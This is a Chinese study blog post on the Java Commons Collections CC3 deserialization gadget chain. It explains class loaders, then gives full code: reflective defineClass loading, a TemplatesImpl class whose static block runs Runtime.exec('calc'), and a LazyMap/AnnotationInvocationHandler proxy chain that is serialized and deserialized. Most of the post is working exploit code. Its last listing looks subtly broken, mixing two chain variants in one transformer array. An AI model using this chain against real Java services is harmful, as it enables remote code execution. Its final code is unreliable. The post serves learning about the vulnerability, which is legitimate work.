CC链学习–cc3

前言

前面学习了cc1和cc6,今天来学习一下cc3,cc3基于cc1有了一点点。由之前的的改变,cc3链就是改变了最后的执行类,由之前的Runtime命令执行改变为动态类加载,能够任意执行代码,对于命令执行,代码执行应用更加广泛。和cc1相比一个是命令执行,一个是代码执行。

分析

既然说到了动态类加载,这里我们先来了解一下动态类加载

动态类加载机制

Java 是运行在 Java 的虚拟机(JVM)中的,但是它是如何运行在JVM中了呢?我们在IDE中编写的 Java 源代码被编译器编译成 .class 的字节码文件。然后由我们得由类加载器负责将这些 class 文件给加载到 JVM 中去执行。JVM提供了三层类加载器

Bootstrap classLoader:启动类加载器,主要负责加载核心的类库(java.lang.*等),构造 ExtClassLoader 和 APPClassLoader。 ExtClassLoader:拓展类加载器,主要负责加载 JAVA_HOME/lib/ext 目录下的一些扩展的 jar。 AppClassLoader:应用程序类加载器,主要负责加载应用程序的主函数类

加载类就是指从编译好的字节码.class文件(所有能被恢复成一个类,并且能在 JVM 虚拟机中加载的字节序列)中加载类,不管是远程服务器上的字节码文件还是本地的字节码文件或者 jar 包。

首先调用 ClassLoader 类中的 loadClass 方法,从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,就会交给ClassLoader类中 findClass方法;然后findClass方法根据基础路径指定的方式来加载类的字节码,可能会在本地文件系统、jar 包或远程 http 服务器上读取字节码,然后将字节码交给 defineClass

双亲委派机制 当一个Hello.class这样的文件要被加载时,不考虑我们自定义类加载器。首先会在 AppClassLoader 中检查是否加载过,如果有那就无需再加载了。如果没有,那么会拿到父加载器,然后调用父加载器的 loadClass 方法。父类中同理也会先检查自己是否已经加载过,如果没有再往上。注意这个类似递归的过程,直到到达 Bootstrap ClassLoader 之前,都是在检查是否加载过,并不会选择自己去加载。直到 Bootstrap ClassLoader ,已经没有父加载器了,这时候开始考虑自己是否能加载了,如果自己无法加载,会下沉到子加载器去加载,一直到最底层,如果没有任何加载器能加载,就会抛出 ClassNotFoundException。

  • 沙箱安全机制:比如自己写的 String.class 不被加载,防止核心类被随意篡改
  • 避免类的重复加载:当父类加载器已经加载了该类的时候就不需要子类加载器加载了

可以见得真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个 Java 类,Java 默认的 ClassLoader#defineClass 是一个 native方法(Java调用非Java代码的接口),逻辑在 JVM 的C语言代码中。

注意一点,在 defineClass() 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的 static 块中,在 defineClass() 时也无法被直接调用到。所以,如果我们要使用 defineClass() 在目标机器上执行任意代码,需要想办法调用构造函数 newInstance()

又因为ClassLoader#defineClass这个方法是受保护的,无法直接在外部访问,需要使用反射的知识进行调用

1
2
3
4
5
6
7
8
9
10
11
12
import java.lang.reflect.Method;
import java.util.Base64;

public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
}

运行后输出Hello World

综上所述,既然是我们想通过加载类来实现任意代码执行,所以就要找到一个重写了 defineClass() 方法的类,它的链上的某个类里面要调用了 newInstance()方法,才能实现任意代码执行

动态类加载的步骤

动态类加载从ClassLoader开始

ClassLoader类里Classloader类调用了loaderclass类,loaderclass类调用了defineclass类

image-20240311191002136

从defineclass开始CC3

找到com.sun.org.apache.xalan.internal.util

image-20240311191318041

跟进去看看denfineclass是如何调用的

image-20240311191604924

其中没有作用域,只有在自己包底下再能调用,在向下跟,发现在自己包底下

image-20240311192030088defineTransletClasses()

image-20240311192016478

defineTransletClasses()方法里也是私有的调用,我们接着去找去找他在哪里变成了public

image-20240311192359092

可以看在在getTransletInstance里调用了,并且进行了初始化,初始化后我们也就可以进行操作了,但耐于他还是私有的,我们接着向下找

image-20240311192715293

捋一下流程:

实例化TemplatesImpl,new Transformer,里面的一些参数的话,主要想调用getTransletInstance()new了就行image-20240311193912150

接着跟getTransletInstance()函数

image-20240311194159557

我们需要调用defineTransletClass(),_class空就行

接着到defineTransletClass()函数

image-20240311194339537

_tfactory需要调用方法不能为空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class cc3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates=new TemplatesImpl();
Class tc=templates.getClass();
Field nameFiled=tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");
Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[]code= Files.readAllBytes(Paths.get("F:\\CTF\\Java\\CC\\target\\classes\\Test.class"));

byte[][]codes={code};
bytecodesField.set(templates,codes);
Field tfactoryField=tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();

templates.newTransformer();
Transformer[] transformers;
transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
// chainedTransformer.transform(1);
// InstantiateTransformer instantiateTransformer= new InstantiateTransformer(new Class[]{TemplatesImpl.class},new Object[]{});
// instantiateTransformer.transform(TrAXFilter.class);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazydMap = LazyMap.decorate(map, chainedTransformer);

Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor=c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h =(InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class,lazydMap);
Map mapProxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o=annotationInvocationhdlConstructor.newInstance(Override.class,mapProxy);
serialize(o);
// unserialize("ser.bin"); //序列化
// unserialize("ser.bin");

}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}

cc3.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class cc3 {
public static void main(String[] args)throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class c=templates.getClass();
Field nameFiled=c.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");
Field bytecodesField=c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[]code= Files.readAllBytes(Paths.get("F:\\CTF\\Java\\CC\\target\\classes\\Test.class"));

byte[][]codes={code};
bytecodesField.set(templates,codes);
Field tfactoryField=c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();

templates.newTransformer();

}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}

Test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Test extends AbstractTranslet {
public Test() {
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class cc3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates=new TemplatesImpl();
Class tc=templates.getClass();
Field nameFiled=tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");
Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[]code= Files.readAllBytes(Paths.get("F:/CTF/Java/CC/target/classes/Test.class"));

byte[][]codes={code};
bytecodesField.set(templates,codes);
Field tfactoryField=tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer= new InstantiateTransformer(new Class[]{TemplatesImpl.class},new Object[]{});
Transformer[] transformers;
transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InvokerTransformer("newTransformer",null,null),
instantiateTransformer
};
// templates.newTransformer();
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
// chainedTransformer.transform(1);

// instantiateTransformer.transform();

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazydMap = LazyMap.decorate(map, chainedTransformer);

Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor=c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h =(InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class,lazydMap);
Map mapProxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o =annotationInvocationhdlConstructor.newInstance(Override.class,mapProxy);
serialize(o);
unserialize("ser.bin");

}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}